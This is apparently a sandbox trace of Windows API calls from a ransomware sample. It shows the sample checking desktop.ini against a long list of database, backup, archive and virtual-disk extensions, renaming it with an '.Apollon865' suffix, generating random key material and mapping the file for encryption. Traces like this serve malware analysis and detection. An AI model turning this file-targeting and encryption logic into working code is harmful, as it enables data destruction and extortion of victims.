	[0062.852] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1
	[0062.852] lstrlenW (lpString=".ini") returned 4
	[0062.852] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1
	[0062.852] lstrlenW (lpString=".sys") returned 4
	[0062.852] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1
	[0062.852] lstrlenW (lpString="desktop.ini") returned 11
	[0062.852] lstrlenW (lpString="bak") returned 3
	[0062.852] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1
	[0062.852] lstrlenW (lpString="ba_") returned 3
	[0062.852] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1
	[0062.852] lstrlenW (lpString="dbb") returned 3
	[0062.852] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1
	[0062.852] lstrlenW (lpString="vmdk") returned 4
	[0062.852] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1
	[0062.852] lstrlenW (lpString="rar") returned 3
	[0062.852] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1
	[0062.852] lstrlenW (lpString="zip") returned 3
	[0062.852] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1
	[0062.852] lstrlenW (lpString="tgz") returned 3
	[0062.852] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1
	[0062.852] lstrlenW (lpString="vbox") returned 4
	[0062.852] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1
	[0062.852] lstrlenW (lpString="vdi") returned 3
	[0062.853] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1
	[0062.853] lstrlenW (lpString="vhd") returned 3
	[0062.853] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1
	[0062.853] lstrlenW (lpString="vhdx") returned 4
	[0062.853] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1
	[0062.853] lstrlenW (lpString="avhd") returned 4
	[0062.853] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1
	[0062.853] lstrlenW (lpString="db") returned 2
	[0062.853] lstrcmpiW (lpString1="ni", lpString2="db") returned 1
	[0062.853] lstrlenW (lpString="db2") returned 3
	[0062.853] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1
	[0062.853] lstrlenW (lpString="db3") returned 3
	[0062.853] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1
	[0062.853] lstrlenW (lpString="dbf") returned 3
	[0062.853] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1
	[0062.853] lstrlenW (lpString="mdf") returned 3
	[0062.853] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1
	[0062.853] lstrlenW (lpString="mdb") returned 3
	[0062.853] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1
	[0062.853] lstrlenW (lpString="sql") returned 3
	[0062.853] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1
	[0062.853] lstrlenW (lpString="sqlite") returned 6
	[0062.853] lstrcmpiW (lpString1="op.ini", lpString2="sqlite") returned -1
	[0062.853] lstrlenW (lpString="sqlite3") returned 7
	[0062.853] lstrcmpiW (lpString1="top.ini", lpString2="sqlite3") returned 1
	[0062.854] lstrlenW (lpString="sqlitedb") returned 8
	[0062.854] lstrcmpiW (lpString1="ktop.ini", lpString2="sqlitedb") returned -1
	[0062.854] lstrlenW (lpString="xml") returned 3
	[0062.854] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1
	[0062.854] lstrlenW (lpString="$er") returned 3
	[0062.854] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1
	[0062.854] lstrlenW (lpString="4dd") returned 3
	[0062.854] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1
	[0062.854] lstrlenW (lpString="4dl") returned 3
	[0062.854] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1
	[0062.854] lstrlenW (lpString="^^^") returned 3
	[0062.854] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1
	[0062.854] lstrlenW (lpString="abs") returned 3
	[0062.854] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1
	[0062.854] lstrlenW (lpString="abx") returned 3
	[0062.854] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1
	[0062.854] lstrlenW (lpString="accdb") returned 5
	[0062.854] lstrcmpiW (lpString1="p.ini", lpString2="accdb") returned 1
	[0062.854] lstrlenW (lpString="accdc") returned 5
	[0062.854] lstrcmpiW (lpString1="p.ini", lpString2="accdc") returned 1
	[0062.854] lstrlenW (lpString="accde") returned 5
	[0062.854] lstrcmpiW (lpString1="p.ini", lpString2="accde") returned 1
	[0062.854] lstrlenW (lpString="accdr") returned 5
	[0062.854] lstrcmpiW (lpString1="p.ini", lpString2="accdr") returned 1
	[0062.854] lstrlenW (lpString="accdt") returned 5
	[0062.854] lstrcmpiW (lpString1="p.ini", lpString2="accdt") returned 1
	[0062.854] lstrlenW (lpString="accdw") returned 5
	[0062.854] lstrcmpiW (lpString1="p.ini", lpString2="accdw") returned 1
	[0062.854] lstrlenW (lpString="accft") returned 5
	[0062.854] lstrcmpiW (lpString1="p.ini", lpString2="accft") returned 1
	[0062.854] lstrlenW (lpString="adb") returned 3
	[0062.854] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0062.854] lstrlenW (lpString="adb") returned 3
	[0062.854] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0062.855] lstrlenW (lpString="ade") returned 3
	[0062.855] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1
	[0062.855] lstrlenW (lpString="adf") returned 3
	[0062.855] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1
	[0062.855] lstrlenW (lpString="adn") returned 3
	[0062.855] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1
	[0062.855] lstrlenW (lpString="adp") returned 3
	[0062.855] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1
	[0062.855] lstrlenW (lpString="alf") returned 3
	[0062.855] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1
	[0062.855] lstrlenW (lpString="ask") returned 3
	[0062.855] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1
	[0062.855] lstrlenW (lpString="btr") returned 3
	[0062.855] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1
	[0062.855] lstrlenW (lpString="cat") returned 3
	[0062.855] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1
	[0062.855] lstrlenW (lpString="cdb") returned 3
	[0062.855] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1
	[0062.855] lstrlenW (lpString="ckp") returned 3
	[0062.855] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1
	[0062.855] lstrlenW (lpString="cma") returned 3
	[0062.855] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1
	[0062.855] lstrlenW (lpString="cpd") returned 3
	[0062.855] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1
	[0062.855] lstrlenW (lpString="dacpac") returned 6
	[0062.855] lstrcmpiW (lpString1="op.ini", lpString2="dacpac") returned 1
	[0062.855] lstrlenW (lpString="dad") returned 3
	[0062.855] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1
	[0062.855] lstrlenW (lpString="dadiagrams") returned 10
	[0062.855] lstrcmpiW (lpString1="esktop.ini", lpString2="dadiagrams") returned 1
	[0062.855] lstrlenW (lpString="daschema") returned 8
	[0062.855] lstrcmpiW (lpString1="ktop.ini", lpString2="daschema") returned 1
	[0062.855] lstrlenW (lpString="db-journal") returned 10
	[0062.855] lstrcmpiW (lpString1="esktop.ini", lpString2="db-journal") returned 1
	[0062.856] lstrlenW (lpString="db-shm") returned 6
	[0062.856] lstrcmpiW (lpString1="op.ini", lpString2="db-shm") returned 1
	[0062.856] lstrlenW (lpString="db-wal") returned 6
	[0062.856] lstrcmpiW (lpString1="op.ini", lpString2="db-wal") returned 1
	[0062.856] lstrlenW (lpString="dbc") returned 3
	[0062.856] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1
	[0062.856] lstrlenW (lpString="dbs") returned 3
	[0062.856] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1
	[0062.856] lstrlenW (lpString="dbt") returned 3
	[0062.856] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1
	[0062.856] lstrlenW (lpString="dbv") returned 3
	[0062.856] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1
	[0062.856] lstrlenW (lpString="dbx") returned 3
	[0062.856] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1
	[0062.856] lstrlenW (lpString="dcb") returned 3
	[0062.856] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1
	[0062.856] lstrlenW (lpString="dct") returned 3
	[0062.856] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1
	[0062.856] lstrlenW (lpString="dcx") returned 3
	[0062.856] lstrcmpiW (lpString1="ini", lpString2="dcx") returned 1
	[0062.856] lstrlenW (lpString="ddl") returned 3
	[0062.856] lstrcmpiW (lpString1="ini", lpString2="ddl") returned 1
	[0062.856] lstrlenW (lpString="dlis") returned 4
	[0062.856] lstrcmpiW (lpString1=".ini", lpString2="dlis") returned -1
	[0062.856] lstrlenW (lpString="dp1") returned 3
	[0062.856] lstrcmpiW (lpString1="ini", lpString2="dp1") returned 1
	[0062.856] lstrlenW (lpString="dqy") returned 3
	[0062.856] lstrcmpiW (lpString1="ini", lpString2="dqy") returned 1
	[0062.856] lstrlenW (lpString="dsk") returned 3
	[0062.856] lstrcmpiW (lpString1="ini", lpString2="dsk") returned 1
	[0062.856] lstrlenW (lpString="dsn") returned 3
	[0062.856] lstrcmpiW (lpString1="ini", lpString2="dsn") returned 1
	[0062.856] lstrlenW (lpString="dtsx") returned 4
	[0062.856] lstrcmpiW (lpString1=".ini", lpString2="dtsx") returned -1
	[0062.857] lstrlenW (lpString="dxl") returned 3
	[0062.857] lstrcmpiW (lpString1="ini", lpString2="dxl") returned 1
	[0062.857] lstrlenW (lpString="eco") returned 3
	[0062.857] lstrcmpiW (lpString1="ini", lpString2="eco") returned 1
	[0062.857] lstrlenW (lpString="ecx") returned 3
	[0062.857] lstrcmpiW (lpString1="ini", lpString2="ecx") returned 1
	[0062.857] lstrlenW (lpString="edb") returned 3
	[0062.857] lstrcmpiW (lpString1="ini", lpString2="edb") returned 1
	[0062.857] lstrlenW (lpString="epim") returned 4
	[0062.857] lstrcmpiW (lpString1=".ini", lpString2="epim") returned -1
	[0062.857] lstrlenW (lpString="fcd") returned 3
	[0062.857] lstrcmpiW (lpString1="ini", lpString2="fcd") returned 1
	[0062.857] lstrlenW (lpString="fdb") returned 3
	[0062.857] lstrcmpiW (lpString1="ini", lpString2="fdb") returned 1
	[0062.857] lstrlenW (lpString="fic") returned 3
	[0062.857] lstrcmpiW (lpString1="ini", lpString2="fic") returned 1
	[0062.857] lstrlenW (lpString="flexolibrary") returned 12
	[0062.857] lstrlenW (lpString="fm5") returned 3
	[0062.857] lstrcmpiW (lpString1="ini", lpString2="fm5") returned 1
	[0062.857] lstrlenW (lpString="fmp") returned 3
	[0062.857] lstrcmpiW (lpString1="ini", lpString2="fmp") returned 1
	[0062.857] lstrlenW (lpString="fmp12") returned 5
	[0062.857] lstrcmpiW (lpString1="p.ini", lpString2="fmp12") returned 1
	[0062.857] lstrlenW (lpString="fmpsl") returned 5
	[0062.857] lstrcmpiW (lpString1="p.ini", lpString2="fmpsl") returned 1
	[0062.857] lstrlenW (lpString="fol") returned 3
	[0062.857] lstrcmpiW (lpString1="ini", lpString2="fol") returned 1
	[0062.857] lstrlenW (lpString="fp3") returned 3
	[0062.857] lstrcmpiW (lpString1="ini", lpString2="fp3") returned 1
	[0062.857] lstrlenW (lpString="fp4") returned 3
	[0062.857] lstrcmpiW (lpString1="ini", lpString2="fp4") returned 1
	[0062.857] lstrlenW (lpString="fp5") returned 3
	[0062.857] lstrcmpiW (lpString1="ini", lpString2="fp5") returned 1
	[0062.858] lstrlenW (lpString="fp7") returned 3
	[0062.858] lstrcmpiW (lpString1="ini", lpString2="fp7") returned 1
	[0062.858] lstrlenW (lpString="fpt") returned 3
	[0062.858] lstrcmpiW (lpString1="ini", lpString2="fpt") returned 1
	[0062.858] lstrlenW (lpString="frm") returned 3
	[0062.858] lstrcmpiW (lpString1="ini", lpString2="frm") returned 1
	[0062.858] lstrlenW (lpString="gdb") returned 3
	[0062.858] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0062.858] lstrlenW (lpString="gdb") returned 3
	[0062.858] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0062.858] lstrlenW (lpString="grdb") returned 4
	[0062.858] lstrcmpiW (lpString1=".ini", lpString2="grdb") returned -1
	[0062.858] lstrlenW (lpString="gwi") returned 3
	[0062.858] lstrcmpiW (lpString1="ini", lpString2="gwi") returned 1
	[0062.858] lstrlenW (lpString="hdb") returned 3
	[0062.858] lstrcmpiW (lpString1="ini", lpString2="hdb") returned 1
	[0062.858] lstrlenW (lpString="his") returned 3
	[0062.858] lstrcmpiW (lpString1="ini", lpString2="his") returned 1
	[0062.858] lstrlenW (lpString="ib") returned 2
	[0062.858] lstrcmpiW (lpString1="ni", lpString2="ib") returned 1
	[0062.858] lstrlenW (lpString="idb") returned 3
	[0062.858] lstrcmpiW (lpString1="ini", lpString2="idb") returned 1
	[0062.858] lstrlenW (lpString="ihx") returned 3
	[0062.858] lstrcmpiW (lpString1="ini", lpString2="ihx") returned 1
	[0062.858] lstrlenW (lpString="itdb") returned 4
	[0062.858] lstrcmpiW (lpString1=".ini", lpString2="itdb") returned -1
	[0062.858] lstrlenW (lpString="itw") returned 3
	[0062.858] lstrcmpiW (lpString1="ini", lpString2="itw") returned -1
	[0062.858] lstrlenW (lpString="jet") returned 3
	[0062.858] lstrcmpiW (lpString1="ini", lpString2="jet") returned -1
	[0062.858] lstrlenW (lpString="jtx") returned 3
	[0062.858] lstrcmpiW (lpString1="ini", lpString2="jtx") returned -1
	[0062.858] lstrlenW (lpString="kdb") returned 3
	[0062.858] lstrcmpiW (lpString1="ini", lpString2="kdb") returned -1
	[0062.859] lstrlenW (lpString="kexi") returned 4
	[0062.859] lstrcmpiW (lpString1=".ini", lpString2="kexi") returned -1
	[0062.859] lstrlenW (lpString="kexic") returned 5
	[0062.859] lstrcmpiW (lpString1="p.ini", lpString2="kexic") returned 1
	[0062.859] lstrlenW (lpString="kexis") returned 5
	[0062.859] lstrcmpiW (lpString1="p.ini", lpString2="kexis") returned 1
	[0062.859] lstrlenW (lpString="lgc") returned 3
	[0062.859] lstrcmpiW (lpString1="ini", lpString2="lgc") returned -1
	[0062.859] lstrlenW (lpString="lwx") returned 3
	[0062.859] lstrcmpiW (lpString1="ini", lpString2="lwx") returned -1
	[0062.859] lstrlenW (lpString="maf") returned 3
	[0062.859] lstrcmpiW (lpString1="ini", lpString2="maf") returned -1
	[0062.859] lstrlenW (lpString="maq") returned 3
	[0062.859] lstrcmpiW (lpString1="ini", lpString2="maq") returned -1
	[0062.859] lstrlenW (lpString="mar") returned 3
	[0062.859] lstrcmpiW (lpString1="ini", lpString2="mar") returned -1
	[0062.859] lstrlenW (lpString="marshal") returned 7
	[0062.859] lstrcmpiW (lpString1="top.ini", lpString2="marshal") returned 1
	[0062.859] lstrlenW (lpString="mas") returned 3
	[0062.859] lstrcmpiW (lpString1="ini", lpString2="mas") returned -1
	[0062.859] lstrlenW (lpString="mav") returned 3
	[0062.859] lstrcmpiW (lpString1="ini", lpString2="mav") returned -1
	[0062.859] lstrlenW (lpString="maw") returned 3
	[0062.859] lstrcmpiW (lpString1="ini", lpString2="maw") returned -1
	[0062.859] lstrlenW (lpString="mdbhtml") returned 7
	[0062.859] lstrcmpiW (lpString1="top.ini", lpString2="mdbhtml") returned 1
	[0062.859] lstrlenW (lpString="mdn") returned 3
	[0062.859] lstrcmpiW (lpString1="ini", lpString2="mdn") returned -1
	[0062.859] lstrlenW (lpString="mdt") returned 3
	[0062.859] lstrcmpiW (lpString1="ini", lpString2="mdt") returned -1
	[0062.859] lstrlenW (lpString="mfd") returned 3
	[0062.859] lstrcmpiW (lpString1="ini", lpString2="mfd") returned -1
	[0062.859] lstrlenW (lpString="mpd") returned 3
	[0062.859] lstrcmpiW (lpString1="ini", lpString2="mpd") returned -1
	[0062.860] lstrlenW (lpString="mrg") returned 3
	[0062.860] lstrcmpiW (lpString1="ini", lpString2="mrg") returned -1
	[0062.860] lstrlenW (lpString="mud") returned 3
	[0062.860] lstrcmpiW (lpString1="ini", lpString2="mud") returned -1
	[0062.860] lstrlenW (lpString="mwb") returned 3
	[0062.860] lstrcmpiW (lpString1="ini", lpString2="mwb") returned -1
	[0062.860] lstrlenW (lpString="myd") returned 3
	[0062.860] lstrcmpiW (lpString1="ini", lpString2="myd") returned -1
	[0062.860] lstrlenW (lpString="ndf") returned 3
	[0062.860] lstrcmpiW (lpString1="ini", lpString2="ndf") returned -1
	[0062.860] lstrlenW (lpString="nnt") returned 3
	[0062.860] lstrcmpiW (lpString1="ini", lpString2="nnt") returned -1
	[0062.860] lstrlenW (lpString="nrmlib") returned 6
	[0062.860] lstrcmpiW (lpString1="op.ini", lpString2="nrmlib") returned 1
	[0062.860] lstrlenW (lpString="ns2") returned 3
	[0062.860] lstrcmpiW (lpString1="ini", lpString2="ns2") returned -1
	[0062.860] lstrlenW (lpString="ns3") returned 3
	[0062.860] lstrcmpiW (lpString1="ini", lpString2="ns3") returned -1
	[0062.860] lstrlenW (lpString="ns4") returned 3
	[0062.860] lstrcmpiW (lpString1="ini", lpString2="ns4") returned -1
	[0062.860] lstrlenW (lpString="nsf") returned 3
	[0062.860] lstrcmpiW (lpString1="ini", lpString2="nsf") returned -1
	[0062.860] lstrlenW (lpString="nv") returned 2
	[0062.860] lstrcmpiW (lpString1="ni", lpString2="nv") returned -1
	[0062.860] lstrlenW (lpString="nv2") returned 3
	[0062.860] lstrcmpiW (lpString1="ini", lpString2="nv2") returned -1
	[0062.860] lstrlenW (lpString="nwdb") returned 4
	[0062.860] lstrcmpiW (lpString1=".ini", lpString2="nwdb") returned -1
	[0062.860] lstrlenW (lpString="nyf") returned 3
	[0062.860] lstrcmpiW (lpString1="ini", lpString2="nyf") returned -1
	[0062.860] lstrlenW (lpString="odb") returned 3
	[0062.860] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0062.860] lstrlenW (lpString="odb") returned 3
	[0062.860] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0062.860] lstrlenW (lpString="oqy") returned 3
	[0062.861] lstrcmpiW (lpString1="ini", lpString2="oqy") returned -1
	[0062.861] lstrlenW (lpString="ora") returned 3
	[0062.861] lstrcmpiW (lpString1="ini", lpString2="ora") returned -1
	[0062.861] lstrlenW (lpString="orx") returned 3
	[0062.861] lstrcmpiW (lpString1="ini", lpString2="orx") returned -1
	[0062.861] lstrlenW (lpString="owc") returned 3
	[0062.861] lstrcmpiW (lpString1="ini", lpString2="owc") returned -1
	[0062.861] lstrlenW (lpString="p96") returned 3
	[0062.861] lstrcmpiW (lpString1="ini", lpString2="p96") returned -1
	[0062.861] lstrlenW (lpString="p97") returned 3
	[0062.861] lstrcmpiW (lpString1="ini", lpString2="p97") returned -1
	[0062.861] lstrlenW (lpString="pan") returned 3
	[0062.861] lstrcmpiW (lpString1="ini", lpString2="pan") returned -1
	[0062.861] lstrlenW (lpString="pdb") returned 3
	[0062.861] lstrcmpiW (lpString1="ini", lpString2="pdb") returned -1
	[0062.861] lstrlenW (lpString="pdm") returned 3
	[0062.861] lstrcmpiW (lpString1="ini", lpString2="pdm") returned -1
	[0062.861] lstrlenW (lpString="pnz") returned 3
	[0062.861] lstrcmpiW (lpString1="ini", lpString2="pnz") returned -1
	[0062.861] lstrlenW (lpString="qry") returned 3
	[0062.861] lstrcmpiW (lpString1="ini", lpString2="qry") returned -1
	[0062.861] lstrlenW (lpString="qvd") returned 3
	[0062.861] lstrcmpiW (lpString1="ini", lpString2="qvd") returned -1
	[0062.861] lstrlenW (lpString="rbf") returned 3
	[0062.861] lstrcmpiW (lpString1="ini", lpString2="rbf") returned -1
	[0062.861] lstrlenW (lpString="rctd") returned 4
	[0062.861] lstrcmpiW (lpString1=".ini", lpString2="rctd") returned -1
	[0062.861] lstrlenW (lpString="rod") returned 3
	[0062.861] lstrcmpiW (lpString1="ini", lpString2="rod") returned -1
	[0062.861] lstrlenW (lpString="rodx") returned 4
	[0062.861] lstrcmpiW (lpString1=".ini", lpString2="rodx") returned -1
	[0062.861] lstrlenW (lpString="rpd") returned 3
	[0062.861] lstrcmpiW (lpString1="ini", lpString2="rpd") returned -1
	[0062.862] lstrlenW (lpString="rsd") returned 3
	[0062.862] lstrcmpiW (lpString1="ini", lpString2="rsd") returned -1
	[0062.862] lstrlenW (lpString="sas7bdat") returned 8
	[0062.862] lstrcmpiW (lpString1="ktop.ini", lpString2="sas7bdat") returned -1
	[0062.862] lstrlenW (lpString="sbf") returned 3
	[0062.862] lstrcmpiW (lpString1="ini", lpString2="sbf") returned -1
	[0062.862] lstrlenW (lpString="scx") returned 3
	[0062.862] lstrcmpiW (lpString1="ini", lpString2="scx") returned -1
	[0062.862] lstrlenW (lpString="sdb") returned 3
	[0062.862] lstrcmpiW (lpString1="ini", lpString2="sdb") returned -1
	[0062.862] lstrlenW (lpString="sdc") returned 3
	[0062.862] lstrcmpiW (lpString1="ini", lpString2="sdc") returned -1
	[0062.862] lstrlenW (lpString="sdf") returned 3
	[0062.862] lstrcmpiW (lpString1="ini", lpString2="sdf") returned -1
	[0062.862] lstrlenW (lpString="sis") returned 3
	[0062.862] lstrcmpiW (lpString1="ini", lpString2="sis") returned -1
	[0062.862] lstrlenW (lpString="spq") returned 3
	[0062.862] lstrcmpiW (lpString1="ini", lpString2="spq") returned -1
	[0062.862] lstrlenW (lpString="te") returned 2
	[0062.862] lstrcmpiW (lpString1="ni", lpString2="te") returned -1
	[0062.862] lstrlenW (lpString="teacher") returned 7
	[0062.862] lstrcmpiW (lpString1="top.ini", lpString2="teacher") returned 1
	[0062.862] lstrlenW (lpString="tmd") returned 3
	[0062.862] lstrcmpiW (lpString1="ini", lpString2="tmd") returned -1
	[0062.862] lstrlenW (lpString="tps") returned 3
	[0062.862] lstrcmpiW (lpString1="ini", lpString2="tps") returned -1
	[0062.862] lstrlenW (lpString="trc") returned 3
	[0062.862] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0062.862] lstrlenW (lpString="trc") returned 3
	[0062.862] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0062.862] lstrlenW (lpString="trm") returned 3
	[0062.862] lstrcmpiW (lpString1="ini", lpString2="trm") returned -1
	[0062.862] lstrlenW (lpString="udb") returned 3
	[0062.862] lstrcmpiW (lpString1="ini", lpString2="udb") returned -1
	[0062.863] lstrlenW (lpString="udl") returned 3
	[0062.863] lstrcmpiW (lpString1="ini", lpString2="udl") returned -1
	[0062.863] lstrlenW (lpString="usr") returned 3
	[0062.863] lstrcmpiW (lpString1="ini", lpString2="usr") returned -1
	[0062.863] lstrlenW (lpString="v12") returned 3
	[0062.863] lstrcmpiW (lpString1="ini", lpString2="v12") returned -1
	[0062.863] lstrlenW (lpString="vis") returned 3
	[0062.863] lstrcmpiW (lpString1="ini", lpString2="vis") returned -1
	[0062.863] lstrlenW (lpString="vpd") returned 3
	[0062.863] lstrcmpiW (lpString1="ini", lpString2="vpd") returned -1
	[0062.863] lstrlenW (lpString="vvv") returned 3
	[0062.863] lstrcmpiW (lpString1="ini", lpString2="vvv") returned -1
	[0062.863] lstrlenW (lpString="wdb") returned 3
	[0062.863] lstrcmpiW (lpString1="ini", lpString2="wdb") returned -1
	[0062.863] lstrlenW (lpString="wmdb") returned 4
	[0062.863] lstrcmpiW (lpString1=".ini", lpString2="wmdb") returned -1
	[0062.863] lstrlenW (lpString="wrk") returned 3
	[0062.863] lstrcmpiW (lpString1="ini", lpString2="wrk") returned -1
	[0062.863] lstrlenW (lpString="xdb") returned 3
	[0062.863] lstrcmpiW (lpString1="ini", lpString2="xdb") returned -1
	[0062.863] lstrlenW (lpString="xld") returned 3
	[0062.863] lstrcmpiW (lpString1="ini", lpString2="xld") returned -1
	[0062.863] lstrlenW (lpString="xmlff") returned 5
	[0062.863] lstrcmpiW (lpString1="p.ini", lpString2="xmlff") returned -1
	[0062.863] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\desktop.ini.Apollon865") returned 84
	[0062.863] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\desktop.ini" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\6asvn7j7\\desktop.ini"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\desktop.ini.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\6asvn7j7\\desktop.ini.apollon865"), dwFlags=0x1) returned 1
	[0062.866] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\desktop.ini.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\feeds cache\\6asvn7j7\\desktop.ini.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x118
	[0062.866] GetFileSizeEx (in: hFile=0x118, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=67) returned 1
	[0062.866] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3270020
	[0062.867] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0062.867] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0062.867] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0062.868] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0062.868] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0062.868] CreateFileMappingW (hFile=0x118, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x350, lpName=0x0) returned 0x154
	[0062.873] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x350) returned 0x100000
	[0062.874] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0062.875] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0062.875] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0062.875] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0062.875] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0062.875] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0062.875] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0062.875] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0062.875] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0062.875] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0062.875] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0062.875] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0062.876] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0062.876] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0062.876] CloseHandle (hObject=0x154) returned 1
	[0062.876] CloseHandle (hObject=0x118) returned 1
	[0062.876] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0062.876] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0062.876] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3270020 | out: hHeap=0x580000) returned 1
	[0062.876] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x668c5a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x668c5a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfee8082e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="fwlink[1]", cAlternateFileName="FWLINK~1")) returned 1
